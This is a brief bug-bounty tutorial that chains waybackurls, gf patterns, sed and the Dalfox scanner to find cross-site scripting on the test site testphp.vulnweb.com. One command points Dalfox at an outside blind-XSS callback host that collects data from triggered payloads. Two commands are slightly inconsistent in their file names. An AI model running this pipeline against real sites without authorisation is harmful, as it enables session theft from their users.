Automating XSS using Dalfox, GF and Waybackurls
2020-11-17 17:06:35 Author: medium.com(查看原文) 阅读量:849 收藏

Keshav Malik

Image for post

Hello Everyone! 😄

Hope you all are good.

Automating Stuff is always fun so Why not XSS. All you need is “GO Lang” installed on your machine and you are ready to go.

via GIPHY

  • After Installation of all above mentioned tools, Choose your Target. Let’s use “http://testphp.vulnweb.com/” for demonstration purposes.
  • Use Waybackurls to fetch URL’s for the chosen target and save the Output in a text file.
echo “testphp.vulnweb.com” | waybackurls | tee testphp.txt
  • Use GF Patterns to find URLs that give you XSS and Use sed command to get our URLs ready for the Dalfox
cat test.txt | gf xss | sed ‘s/=.*/=/’ | sed ‘s/URL: //’ | tee testxss.txt
  • Time to fire Dalfox and start finding XSS.
dalfox file testxss.txt -b tigv2.xss.ht pipe
  • Make sure you replace my Blind XSS Hunter Payload with that of yours.

Check out the Bash Script to automate the workflow.

Keshav Malik

Written by

Building & Breaking Web Apps ^_^

InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. In a nutshell, we are the largest InfoSec publication on Medium. Maintained by Hackrew

Keshav Malik

Written by

Building & Breaking Web Apps ^_^

InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. In a nutshell, we are the largest InfoSec publication on Medium. Maintained by Hackrew

Learn more.

Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more

Make Medium yours.

Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore

Share your thinking.

If you have a story to tell, knowledge to share, or a perspective to offer — welcome home. It’s easy and free to post your thinking on any topic. Write on Medium

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store

A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store


文章来源: https://medium.com/bugbountywriteup/automating-xss-using-dalfox-gf-and-waybackurls-bc6de16a5c75?source=rss----7b722bfd1b8d--bug_bounty
如有侵权请联系:admin#unsafe.sh